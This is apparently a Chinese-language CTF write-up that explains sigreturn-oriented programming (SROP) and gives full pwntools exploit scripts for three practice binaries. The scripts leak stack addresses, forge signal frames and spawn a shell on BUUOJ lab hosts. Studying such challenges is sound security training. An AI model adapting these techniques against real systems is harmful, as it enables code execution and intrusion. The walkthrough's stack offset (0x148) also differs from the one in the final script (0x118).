相关知识 原理 ROP(Return Oriented Programming)
是利用程序中的一系列ret
指令来构造恶意代码执行链。而SROP
即利用sigreturn
函数完成以上内容。
这里放一张我看其他师傅博客上的一张图,完成一次系统调用的过程如下:
①:用户态进程接收到信号signal
,该进程被挂起,进入内核态。
②:内核保存用户态进程的上下文,然后跳转到用户态的信号signal
对应的信号处理程序,回到用户态。在这一阶段里,内核会构造一个位于用户栈上的Signal Frame
用于存放该进程的上下文,然后再push
返回地址rt_sigreturn
。
③:用户态的信号处理程序执行完毕,pop
返回地址rt_sigreturn
,进程进入内核态,执行sigreturn
系统调用。内核根据之前栈上的Signal Frame
完成用户态进程上下文的恢复。
④:返回用户态,进程按照恢复的上下文继续执行。
SROP
作用于第3阶段,也就是内核根据Signal Frame
的内容恢复进程上下文的过程。
Signal Frame
(类似下面这张图)是一个已知的数据结构,而且其存在于用户态的栈上。内核在恢复上下文时并不能确保其内容没有被修改过。因此,如果我们能够在栈上构造sigreturn
系统调用与新的Signal Frame
结构体的话,就能够实现攻击的效果。
sigreturn
函数用于从信号处理程序中恢复到原始的系统调用状态,调用号为0xf
,通过syscall
指令直接调用。在x86-64
架构的Linux
系统中,syscall
指令的调用号存储在寄存器rax
中。
srop
的做题条件
一定要能调用sigreturn
,也就是说程序中要有syscall
的指令并知道其地址,还需要让rax
寄存器值为0xf
。
必须要能知道/bin/sh
在程序中的地址。
例题 ciscn_2019_es_7
思路 系统调用了sys_read
和sys_write
,并且可以溢出0x400-0x10
个字节
我们看到mov rax,0fh;retn
的gadget
,0fh
是sigreturn
函数的调用号,可以用SROP
。
程序中没有/bin/sh
,我们可以在sys_read(0,buf,0x400ull)
这一过程中先把/bin/sh
写到buf
中,然后sys_write(1u,buf,0x30ull)
这一过程会把buf
及后面的内容共0x30
个字节打印出来,这样我们就可以泄漏一个栈地址,然后计算其与/bin/sh
的地址的偏移,表示出/bin/sh
的地址。
vuln_addr = 0x4004ed payload = b'/bin/sh\x00' .ljust(16 ,b'\x00' )+p64(vuln_addr) p.sendline(payload) p.recv(0x20 ) one_addr = u64(p.recv(8 )) print ('one_addr -->' ,hex (one_addr))binsh_addr = one_addr-0x148 print ('binsh_addr -->' ,hex (binsh_addr))
得到/bin/sh
的地址后,构造一个execve
的signal frame
,如下:
syscall_addr = 0x400517 frame = SigreturnFrame() frame.rax = constants.SYS_execve frame.rdi = binsh_addr frame.rsi = 0 frame.rdx = 0 frame.rip = syscall_addr
首先我们要知道,rip
是一个指令指针的寄存器,也就是说rip
寄存器中存放的是要执行的下一条指令的地址。而frame.rip
中存放的是 当sigreturn
系统调用返回后要执行的下一条指令的地址。这里的frame.rip = syscall_leave_ret
就表示我们将要执行syscall
指令,又因为我们已经设置了execve
的signal frame
,所以我们就控制了程序的执行流执行execve
系统调用。
构造第二个payload
如下:
mov_rax_0fh = 0x4004da payload = payload = b'/bin/sh\x00' .ljust(16 ,b'\x00' ) payload += p64(mov_rax_0fh)+p64(syscall_addr) payload += bytes (frame) p.sendline(payload)
一开始我把payload = payload = b'/bin/sh\x00'.ljust(16,b'\x00')
写成payload = b'a'*16
打不通。调试的时候发现,vuln
函数是又被循环了一次,这个payload
是会往buf
中写覆盖原来的内容,也就是说我们上面泄漏的地址binsh_addr
,中的内容会变成这次发送的前8
个字节。所以我们构造的payload
的前8
个字节必须是/bin/sh\x00
。
exp
from pwn import *p = remote('node5.buuoj.cn' ,26868 ) context.arch ='amd64' vuln_addr = 0x4004ed payload = b'/bin/sh\x00' .ljust(16 ,b'\x00' )+p64(vuln_addr) p.sendline(payload) p.recv(0x20 ) one_addr = u64(p.recv(8 )) print ('one_addr -->' ,hex (one_addr))binsh_addr = one_addr-0x118 print ('binsh_addr -->' ,hex (binsh_addr))syscall_addr = 0x400517 frame = SigreturnFrame() frame.rax = constants.SYS_execve frame.rdi = binsh_addr frame.rsi = 0 frame.rdx = 0 frame.rip = syscall_addr mov_rax_0fh = 0x4004da payload = payload = b'/bin/sh\x00' .ljust(16 ,b'\x00' ) payload += p64(mov_rax_0fh)+p64(syscall_addr) payload += bytes (frame) p.sendline(payload) p.interactive()
拿到flag
rootersctf_2019_srop
思路 我们分析代码,发现连main
函数都没有,整个程序就是先call 0x401000
,然后exit
退出。
跳到地址为0x401000
这里,分析汇编代码,2
个系统调用,write(1,buf,0x2a),read(0,rsp-0x40,0x400)
。
程序中没有/bin/sh
,所以我们要先往一个地址中写入/bin/sh
。如果我们直接写入/bin/sh
再srop
,我们不能知道/bin/sh
的地址,所以可以先栈迁移到data
段,data
段的地址已知且不变,这样我们就拿到/bin/sh
的地址了,设置read
的一些寄存器值,如下:
buf_addr = 0x402000 syscall_leave_ret = 0x401033 frame = SigreturnFrame() frame.rax = 0 frame.rdi = 0 frame.rsi = buf_addr frame.rdx = 0x400 frame.rip = syscall_leave_ret frame.rbp = buf_addr+0x20
不过这里frame.rbp = buf_addr+0x20
的作用是什么?)
然后我们可以构造第一个payload
如下:
pop_rax_syscall_leave_ret = 0x401032 payload = b'a' *0x88 +p64(pop_rax_syscall_leave_ret)+p64(0xf )+bytes (frame) p.sendlineafter(b"Hey, can i get some feedback for the CTF?\n" , payload)
上面构造的signal frame
再次syscall
了一个read
系统调用,下面我们就可以往buf_addr = 0x402000
里写入/bin/sh
,并再次构造一个signal frame
系统调用execve
。
frame = SigreturnFrame() frame.rax = 0x3b frame.rdi = buf_addr frame.rsi = 0 frame.rdx = 0 frame.rip = syscall_leave_ret payload = b'/bin/sh\x00' +b'a' *0x20 +p64(pop_rax_syscall_leave_ret)+p64(0xf )+bytes (frame) p.sendline(payload)
exp
from pwn import *p = remote("node5.buuoj.cn" ,26592 ) context.arch='amd64' buf_addr = 0x402000 syscall_leave_ret = 0x401033 frame = SigreturnFrame() frame.rax = 0 frame.rdi = 0 frame.rsi = buf_addr frame.rdx = 0x400 frame.rip = syscall_leave_ret frame.rbp = buf_addr+0x20 pop_rax_syscall_leave_ret = 0x401032 payload = b'a' *0x88 +p64(pop_rax_syscall_leave_ret)+p64(0xf )+bytes (frame) p.sendlineafter(b"Hey, can i get some feedback for the CTF?\n" , payload) frame = SigreturnFrame() frame.rax = 0x3b frame.rdi = buf_addr frame.rsi = 0 frame.rdx = 0 frame.rip = syscall_leave_ret payload = b'/bin/sh\x00' +b'a' *0x20 +p64(pop_rax_syscall_leave_ret)+p64(0xf )+bytes (frame) p.sendline(payload) p.interactive()
拿到flag
360chunqiu2017_smallest
思路 我们每次控制寄存器的时候,都把rsp
写成下一个片段的rt_sigreturn
的地址,并且rip
的地址要指向syscall;ret
一定要后面有ret
,不然所有的片段连不起来,到ret
的时候,就会去执行rsp
执行的地址,因此我们就可以一直劫持程序的控制流。
程序很简单,只有下面一个函数,分析一下代码就是一个read
系统调用,可以栈溢出并且能够溢出的字节数很长。
signed __int64 start () { void *retaddr; return sys_read(0 , (char *)&retaddr, 0x400 uLL); }
这道题既然是用srop
,那么必然是需要能够调用sigreturn
,也就是需要把rax
寄存器的值设置为0xf
。我们发现并没有能够实现这个的相关的gadget
,但是我们突然想到read
返回值就是存储在rax
寄存器中的,我们可以利用这个来设置rax
寄存器的值。
syscall_ret_addr = 0x4000be start_addr = 0x4000b0 payload = p64(start_addr)*3 p.send(payload) wait = input () p.send(b'\xB3' ) wait = input () leak_addr = u64(p.recv()[8 :16 ]) target_addr = leak_addr-0x2000
exp
如下:
from pwn import *context.arch='amd64' p = remote("node5.buuoj.cn" ,29210 ) syscall_ret_addr = 0x4000be start_addr = 0x4000b0 payload = p64(start_addr)*3 p.send(payload) wait = input () p.send(b'\xB3' ) wait = input () leak_addr = u64(p.recv()[8 :16 ]) target_addr = leak_addr-0x2000 frame = SigreturnFrame() frame.rax = 0 frame.rdi = 0 frame.rsi = target_addr frame.rdx = 0x400 frame.rip = syscall_ret_addr frame.rsp = target_addr payload = p64(start_addr)+b'aaaaaaaa' +bytes (frame) p.send(payload) wait = input () payload = p64(syscall_ret_addr)+b'bbbbbbb' p.send(payload) wait = input () binsh_addr = target_addr+0x110 frame = SigreturnFrame() frame.rax = 0x3b frame.rdi = binsh_addr frame.rsi = 0 frame.rdx = 0 frame.rip = syscall_ret_addr payload = p64(start_addr)+b'aaaaaaaa' +bytes (frame).ljust(0x100 ,b'\x00' )+b'/bin/sh' p.send(payload) wait = input () payload = p64(syscall_ret_addr)+b'bbbbbbb' p.send(payload) wait = input () p.interactive()
拿到flag